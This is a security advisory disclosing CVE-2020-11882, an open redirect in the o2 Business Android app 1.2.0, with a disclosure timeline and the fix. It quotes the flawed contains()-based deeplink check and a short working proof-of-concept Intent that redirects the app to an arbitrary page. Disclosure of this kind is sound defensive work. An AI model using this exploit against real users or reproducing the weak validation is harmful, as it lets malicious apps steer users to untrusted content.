RCE Security Advisory
https://www.rcesecurity.com


1. ADVISORY INFORMATION
=======================
Product:        o2 Business for Android
Vendor URL:     https://play.google.com/store/apps/details?id=telefonica.de.o2business
Type:           Open Redirect [CWE-601]
Date found:     2020-04-16
Date published: 2020-07-01
CVSSv3 Score:   3.3 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N)
CVE:            CVE-2020-11882


2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.


3. VERSIONS AFFECTED
====================
o2 Business App for Android 1.2.0


4. INTRODUCTION
===============
Kommunikation ist Ihr tägliches Sprungbrett in die Geschäftswelt. Und mit der
neuen O2 Business App haben Sie alle wichtigen Details stets vor Augen.
Verfolgen Sie investierte Gesprächszeiten zurück und sehen Sie verfügbare
Kommunikations-Kapazitäten vorher. Vom aktuellen Stand des Inklusiv-Volumens,
über Einzelverbindungen und Tarifdetails, bis zur lokalen Netz-Qualität behalten
Sie mit der O2 Business App immer und überall den Durchblick. Erfahren Sie jetzt
mehr über Ihren informativen Begleiter!

(from the vendor's homepage)


5. VULNERABILITY DETAILS
========================
The "O2 Business App" for Android exposes an activity to other apps called
"canvasm.myo2.SplashActivity". The purpose of this activity is to handle
deeplinks which can be delivered to the app either via links or by directly
calling the activity.

However, the app does not properly validate the format of deeplinks by just
using str.contains() to verify the allowed host:

private boolean isVanityLink(String str) {
       return str.contains("https://o2.de") || str.contains("https://blau.de")
       || str.contains("https://e2e2.o2.de") ||
       str.contains("https://e2e2.blau.de");
   }

private boolean isDeepLink(String str) {
   return str.contains("https://www.o2online.de")
   || str.contains("https://www.blau.de")
   || str.contains("https://e2e2.o2online.de")
   || str.contains("https://e2e2.blau.de")
   || str.contains(BuildConfig.PIRANHA_BASE_E2E2_URL)
   || str.contains("https://login.o2online.de")
   || str.contains("https://login-e2e2.blau.de")
   || str.contains("https://login.blau.de");
}

This can be abused by an attacker (malicious app) to redirect a user to any page
and deliver any content to the user. An exemplary exploit could look like the
following:

Intent i = new Intent();
i.setComponent(new ComponentName("telefonica.de.o2business", "canvasm.myo2.SplashActivity"));
Uri uri = Uri.parse("https://www.rcesecurity.com?dummy=https://o2.de");
i.setData(uri);
startActivity(i);


6. RISK
=======
A malicious app on the same device is able to exploit this vulnerability to lead
the user to any webpage/content. The specific problem here is the assumed trust
boundary between the user having the o2 Business app installed and what the app
is actually doing/displaying to the user. So if the user sees the app being
loaded and automatically redirecting to another page, it can be assumed that the
loaded page is also trusted by the user.


7. SOLUTION
===========
Update the app to version 1.3.0


8. REPORT TIMELINE
==================
2020-04-16: Discovery of the vulnerability
2020-04-16: Although Telefonica runs a VDP on Bugcrowd
(https://bugcrowd.com/telefonicavdp), I did not want to accept their non-
disclosure terms, which is why I have tried to contact them directly via their
official CERT contact.
2020-04-16: Telefonica responds and asks for full vulnerability details
2020-04-16: Send over the full advisory including a full PoC exploit.
2020-04-16: Telefonica acknowledges the issue
2020-04-16: CVE requested from MITRE
2020-04-17: MITRE assigns CVE-2020-11882
2020-06-03: No further communication from Telefonica. Mailed them again about
the status of the fix.
2020-06-03: Telefonica is still working on this issue and the fix is scheduled
to be included in the next release.
2020-06-04: Version 1.3.0 is released
2020-07-01: Public disclosure.


9. REFERENCES
=============
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